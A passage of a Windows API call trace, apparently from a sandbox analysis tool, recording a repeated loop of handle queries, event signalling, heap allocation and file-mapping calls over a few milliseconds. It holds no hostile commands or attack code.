ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.551] ResetEvent (hEvent=0x110) returned 1 [0072.551] SetEvent (hEvent=0x114) returned 1 [0072.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.552] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.552] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.552] ResetEvent (hEvent=0x110) returned 1 [0072.552] SetEvent (hEvent=0x114) returned 1 [0072.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.552] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.552] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.552] ResetEvent (hEvent=0x110) returned 1 [0072.552] SetEvent (hEvent=0x114) returned 1 [0072.552] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.552] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.552] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.552] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.553] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.553] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.553] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.553] ResetEvent (hEvent=0x110) returned 1 [0072.553] SetEvent (hEvent=0x114) returned 1 [0072.553] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.553] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.553] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.553] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.553] ResetEvent (hEvent=0x110) returned 1 [0072.553] SetEvent (hEvent=0x114) returned 1 [0072.553] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.553] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.554] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.554] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.554] ResetEvent (hEvent=0x110) returned 1 [0072.554] SetEvent (hEvent=0x114) returned 1 [0072.554] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.554] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.554] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.554] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.554] ResetEvent (hEvent=0x110) returned 1 [0072.554] SetEvent (hEvent=0x114) returned 1 [0072.554] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.554] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.554] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.554] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.554] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.554] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.555] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.555] ResetEvent (hEvent=0x110) returned 1 [0072.555] SetEvent (hEvent=0x114) returned 1 [0072.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.555] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.555] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.555] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.555] ResetEvent (hEvent=0x110) returned 1 [0072.555] SetEvent (hEvent=0x114) returned 1 [0072.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.555] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.555] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.555] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.555] ResetEvent (hEvent=0x110) returned 1 [0072.555] SetEvent (hEvent=0x114) returned 1 [0072.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.555] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.556] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.556] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.556] ResetEvent (hEvent=0x110) returned 1 [0072.556] SetEvent (hEvent=0x114) returned 1 [0072.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.556] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.556] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.556] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.556] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.556] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.556] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.556] ResetEvent (hEvent=0x110) returned 1 [0072.556] SetEvent (hEvent=0x114) returned 1 [0072.556] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.556] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.556] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.557] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.557] ResetEvent (hEvent=0x110) returned 1 [0072.557] SetEvent (hEvent=0x114) returned 1 [0072.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.557] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.557] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.557] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.557] ResetEvent (hEvent=0x110) returned 1 [0072.557] SetEvent (hEvent=0x114) returned 1 [0072.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.557] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.557] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.557] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.557] ResetEvent (hEvent=0x110) returned 1 [0072.557] SetEvent (hEvent=0x114) returned 1 [0072.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.557] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.558] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.558] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.558] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.558] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.558] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.558] ResetEvent (hEvent=0x110) returned 1 [0072.558] SetEvent (hEvent=0x114) returned 1 [0072.558] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.558] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.558] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.558] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.558] ResetEvent (hEvent=0x110) returned 1 [0072.558] SetEvent (hEvent=0x114) returned 1 [0072.558] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.558] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.558] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.558] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.559] ResetEvent (hEvent=0x110) returned 1 [0072.559] SetEvent (hEvent=0x114) returned 1 [0072.559] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.559] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.559] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.559] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.559] ResetEvent (hEvent=0x110) returned 1 [0072.559] SetEvent (hEvent=0x114) returned 1 [0072.559] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.559] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.559] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.559] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.559] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.559] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.559] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.559] ResetEvent (hEvent=0x110) returned 1 [0072.559] SetEvent (hEvent=0x114) returned 1 [0072.559] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.560] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.560] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.560] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.560] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.560] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.560] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.560] ResetEvent (hEvent=0x110) returned 1 [0072.560] SetEvent (hEvent=0x114) returned 1 [0072.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.560] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.560] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.560] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.560] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.560] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.560] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.560] ResetEvent (hEvent=0x110) returned 1 [0072.560] SetEvent (hEvent=0x114) returned 1 [0072.560] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.561] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.561] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.561] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.561] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.561] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.561] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.561] ResetEvent (hEvent=0x110) returned 1 [0072.561] SetEvent (hEvent=0x114) returned 1 [0072.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.561] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.561] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.561] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.561] ResetEvent (hEvent=0x110) returned 1 [0072.561] SetEvent (hEvent=0x114) returned 1 [0072.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.561] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.562] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.562] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.562] ResetEvent (hEvent=0x110) returned 1 [0072.562] SetEvent (hEvent=0x114) returned 1 [0072.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.562] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.562] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.562] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.562] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.562] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.562] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.562] ResetEvent (hEvent=0x110) returned 1 [0072.562] SetEvent (hEvent=0x114) returned 1 [0072.562] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.562] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.562] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.562] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.562] ResetEvent (hEvent=0x110) returned 1 [0072.562] SetEvent (hEvent=0x114) returned 1 [0072.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.563] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.563] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.563] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.563] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.563] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.563] ResetEvent (hEvent=0x110) returned 1 [0072.563] SetEvent (hEvent=0x114) returned 1 [0072.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.563] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.563] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.563] ResetEvent (hEvent=0x110) returned 1 [0072.563] SetEvent (hEvent=0x114) returned 1 [0072.563] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.564] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.564] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.564] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.564] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.564] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.564] ResetEvent (hEvent=0x110) returned 1 [0072.564] SetEvent (hEvent=0x114) returned 1 [0072.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.564] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.564] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.564] ResetEvent (hEvent=0x110) returned 1 [0072.564] SetEvent (hEvent=0x114) returned 1 [0072.564] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.564] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.564] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.565] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.565] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.565] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.565] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.565] ResetEvent (hEvent=0x110) returned 1 [0072.565] SetEvent (hEvent=0x114) returned 1 [0072.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.565] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.565] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.565] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.565] ResetEvent (hEvent=0x110) returned 